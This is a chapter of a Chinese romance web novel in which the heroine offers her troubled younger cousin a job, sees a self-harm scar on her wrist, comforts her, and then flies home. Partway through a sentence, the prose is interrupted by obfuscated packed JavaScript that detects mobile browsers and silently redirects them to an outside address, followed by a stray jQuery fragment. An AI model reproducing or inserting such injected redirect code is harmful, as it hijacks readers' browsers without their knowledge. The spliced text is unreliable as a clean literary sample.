80. 第八十章

作品:《用上司挡了前任以后

    林奈奈微怔。


    这次回来,她都没有好好看看孟音。孟音剪了一头齐肩的短发,微微内扣,外表依旧乖甜。可目光变得锐利,再不是从前那个瑟缩躲在自己身后的小女孩了。


    她的妹妹也长大了啊。


    郁郁的愁肠里蓦然生出一丝感动,林奈奈拉起孟音的手:“是啊。妈,你已经把最好的给我们了。”


    总有人在成长,总有人在消亡。一半在尘土里安详,一半在春风里飞扬。


    车子驶离,林奈奈望向窗外划过的街景。


    不知为何,竟顿悟到一点生命轮回的况味。


    她伸手拍了拍驾驶座的位置:“你好师傅,我现在改个目的地行吗?先不去机场了。”


    司机师傅用一口带着乡音的普通话:“可以啊,那你改嘛。费用会变的。”


    “好,麻烦您了。”


    林奈奈带着蒋清风又回到二叔家。


    进门前,正好撞上要出去摆摊的二婶。


    车队忙的时候,她会去车队帮忙。车队不忙,她就在镇子东摆一间小炒店赚外快。


    见林奈奈来,她惊喜,满脸堆笑:“奈奈,你怎么来了?”


    林奈奈的声音还是沙哑的:“曼曼呢?”


    一听她问曼曼,二婶更是高兴地拍大腿:“在屋里,在屋里。”


    她丢开手里折叠凳,朝着堂屋里大叫:“曼曼,姐姐来咯。”


    说罢,又招呼林奈奈和蒋清风去里面坐。


    林奈奈摆摆手:“不麻烦了,二婶,我们还要赶飞机,我就跟曼曼说两句话。”


    “好,好。”二婶急得亲自去屋里拽女儿出来。


    “妈,我自己会走。”


    林曼曼挣开她妈妈的手,掸直衣服。扫了林奈奈一眼,又瞬间挪开,看着地面,声如蚊蚋:“奈奈姐,你找我。”


    林奈奈也不兜圈子,快语直言:“我的公司正招助理,初创公司,杂七杂八的事情很多,有脑力活,也得干体力活。我可以给你三个月的试用期,试用期工资4000,够你在深城安顿下来。”


    二婶的眼角眉梢全是笑意,拳头都攥紧了,屏息不敢说话。


    林奈奈:“至于能不能通过试用期,转正后的待遇,得看你自己的表现。你愿意来吗?”


    二婶抢在前头:“愿意愿意,奈奈,真的很谢——”


    “妈。”林曼曼抢断她的话,瞥了林奈奈一眼,迅速挪开,“我就不去给你添乱了,奈奈姐。”


    “胡说什么。”声音尖锐,二婶一把将女孩拽到自己身后。


    林曼曼的眼眶红了:“妈,你能不能不要......”


    “闭嘴!一点不懂事儿,”二婶厉声喝断,不再给她说话的机会,“奈奈你别理她,等你走了,我好好说她,她指定愿意的。”


    林曼曼掉泪,仰着脖子吼道:“我不愿意。妈,从前也不见你对奈奈姐这么热络,现在瞧着她有出息了,一个两个都想攀附——”


    “啪”得一声。女孩的马尾被一巴掌打散,后退半步,扶着腻子墙。


    林奈奈惊得立刻伸手拉住二婶。


    二婶的手抖得跟筛糠似的,咬牙切齿:“我攀附是为了我自己吗?啊?”


    她连声质问:“你志气大,有本事也像你奈奈姐,像孟音她们考大学啊,有本事自己找工作啊?你没本——”


    “二婶。”林奈奈拽她的袖子,蹙眉冲她摇头。


    当妈的心里憋着一团火,横冲直撞找不到出口,气得一屁股坐在门框上:“哎呦,我...我不管了。”


    林曼曼捂着脸,缩在墙角里哭。


    奈奈姐的父亲死后,车队一大笔的贷款全都落在了自己父亲的头上。


    站在妈妈的角度,婚前得知自己要嫁个车队老板,兄弟两经营,手底下管了四五个人,在他们镇上算很威风了。嫁过来之后才知道,威风个屁,车队前十年的收入都用来还贷了。


    跟她同龄的朋友,姐妹,早早住上了小洋楼,就她苦哈哈地跟着熬。


    林曼曼没少听妈妈抱怨,妈妈一抱怨,爸爸就难受,如果不是大哥顶了他的趟,那泥石流埋的人就是他自己。


    妈妈嘴毒,话赶话就会戳人肺管子:“那我情愿埋的是你。人吴青霞改嫁不也过得很好吗?”


    然后就吵得不可开交。


    是这个原因,导致林曼曼姐弟从小就不喜欢奈奈姐。她一出现,就意味父母要吵架。


    可自从奈奈姐考上大学,找到工作,尤其今年又带了这么一个非富即贵的男朋友回家。


    情况就变了,爸妈的态度也变了,说话变得客气,毕恭毕敬。


    甚至开始拿她和林奈奈比较。


    林曼曼越想越难受,捂着脸,哭得要背过气去。


    场面混乱。


    林奈奈看了眼蒋清风,轻微叹气。原是好心,没料到事情会变成这样。


    她走到曼曼身边:“算了,你......”


    正想安慰两句离开。陡然看到女孩左手手腕上,有一道狭长隆起的疤。女孩捂着脸,宽大的袖口顺着小臂滑落,那块疤露了出来。


    像是哪里漏风,林奈奈的身子一抖,伸手抓住曼曼的手腕。


    女孩却情绪失控,一把甩开她的手:“不要可怜我。你走,你走啊。”


    她横了心,蹙眉闭上眼:“就因为我们都姓林,他他们老拿我跟你比。从小到大,你都是更漂亮,学习更好的那个。你哪哪都比我好,我什么都不是。”


    抽泣声从指缝里漏出来:“我不用你可怜,你走开。”


    林奈奈鼻尖一酸,看着眼前这个浑身都是刺的女孩,想起了十年前的自己。


    那个痛苦、脆弱,容易被冒犯的十八岁。


    现在长大了,有能力,有智谋,会迎难而上了,她已经忘了那种绝望到只能伤害自己的感受。


    某种不言自明的惺惺相惜,让林奈奈伸手主动抱住了眼前这个、与她并不亲密的妹妹,诚恳道:“他们比他们的,我们不比可以吗?”


    林曼曼一怔,哭声顿住。


    她感受到温暖,一股缓慢的、弥散的暖意。


    林奈奈:“我们明明很像。”


    想起高中被同学室友孤立的那些日子。


    她的声音轻柔:“敏感,心气高,又对自己的无能深恶痛绝。我理解你,因为我曾经也是这样一个人。”


    闻言,林曼曼逐渐抬起头,用力睁大眼睛,想把眼前的人看清,可泪水糊在眼珠子上,让人影变得模糊摇曳。


    林奈奈:“或许在你看来,现在的我更漂亮,更成功。可你才十九岁,曼曼。别给学历,外貌,金钱这些东西附魅,你想要你也可以有。”


    泪水蓄满,终


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269867|197265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于从眼眶里滑出,林曼曼眼前的一切都变得清亮、分明。


    她看见,奈奈姐穿一身白色干练的西装,卷发盘起,织出一张柔韧的网,接住了她下坠的念头。


    ——初中毕业时,她说她不想读卫校,想正常考高中。母亲说,你懂什么,卫校出来就可以在镇医院里当护士。


    卫校出来后,她的位置被人顶了,找不到工作。父亲说,你真是一点出息没有,你看看你奈奈姐。


    她想找人好好聊聊,可得到的是漠视,是斥责,是反问她为什么这么不懂事?


    她也不想变成这副讨人厌的模样,矫情,敏感,多疑。可环境硬生生把她逼成了一只浑身带刺的怪物——


    第一次,第一次有人蹲下来,看清她的伤口。


    她握着她的手腕,轻声道:“我知道那种感受,曼曼。”


    即便十年后回首,青春期里那些让她痛苦的事情已经显得微不足道,可痛苦是真实的。


    林奈奈咬着唇,把胸腔里那团发烫的东西一点点压下去,作为一个过来人,引渡一个还没有找到自己形状的灵魂:“别怕,杀不死你的,都会让你变得更强大。”


    女孩哇得一声哭出来,回抱住林奈奈。


    动作掀起轻风拂面。


    林奈奈忽然意识到,她需要的,正是回头看看自己来时的路。


    她不是凭自己走到今天的,是奶奶,是妈妈,是资助人姐姐,是蒋清风的托举。


    现在是不是也轮到她了,去托举这些比她小的孩子。把没来得及给奶奶的爱,分给这些艰难困顿的孩子。


    林奈奈的眼眶湿润,从包里翻出一张纸,写下自己的电话和公司地址,递给女孩:“如果你想通了,就来这里找我。”


    她最后用力捏了一下林曼曼的手腕:“我等你。”


    *


    去机场的路上,林奈奈沉默地陷在座椅里。


    天空昏暗,云层低垂像是要下雨。


    他们过了安检,坐上飞机,颠簸爬升,舷窗外的云像是一团厚重,吸满了水的灰面被。


    林奈奈的心情也跟这灰蒙蒙的云被一样。


    可下一秒,飞机穿越对流层,眼前猛然炸开一片无边无际的金色,阳光毫无遮挡、肆意地倾泻而下。


    女人被那辉煌的金色晃了眼,偏头,伸手遮住眼睑。


    待她的眼睛适应了亮度,再次睁开,望向窗外,是一片蔚蓝、纯净的天空。


    是了,


    阳光一直在,蓝天一直在,我们需要的,只是一颗向上穿越的心。


    林奈奈被眼前这一幕释放,她深深吸了一口气。


    旁边伸过来一只白皙修长的手,指节弯曲嵌入,牵起她的手。


    “你在啊。”林奈奈歪头靠在他的肩膀上,无厘头说了这么一句。


    男人正在看书,淡笑道:“我能去哪,这可是在飞机上。”


    女人也笑:“在看什么?”


    “汪曾祺先生的《人间草木》”


    男人翻动页面:“正好看到这篇长进树皮里的铁蒺藜。”


    “我记得。”她轻声背出文章的最后一句话,“这颗柳树将带着一圈长进树皮里的铁蒺藜继续往上长,长得很大,很高。”


    “是啊,奈奈。”男人的下巴蹭着她的卷发,“伤口没法愈合,但人会强大到带着伤口继续前进的。”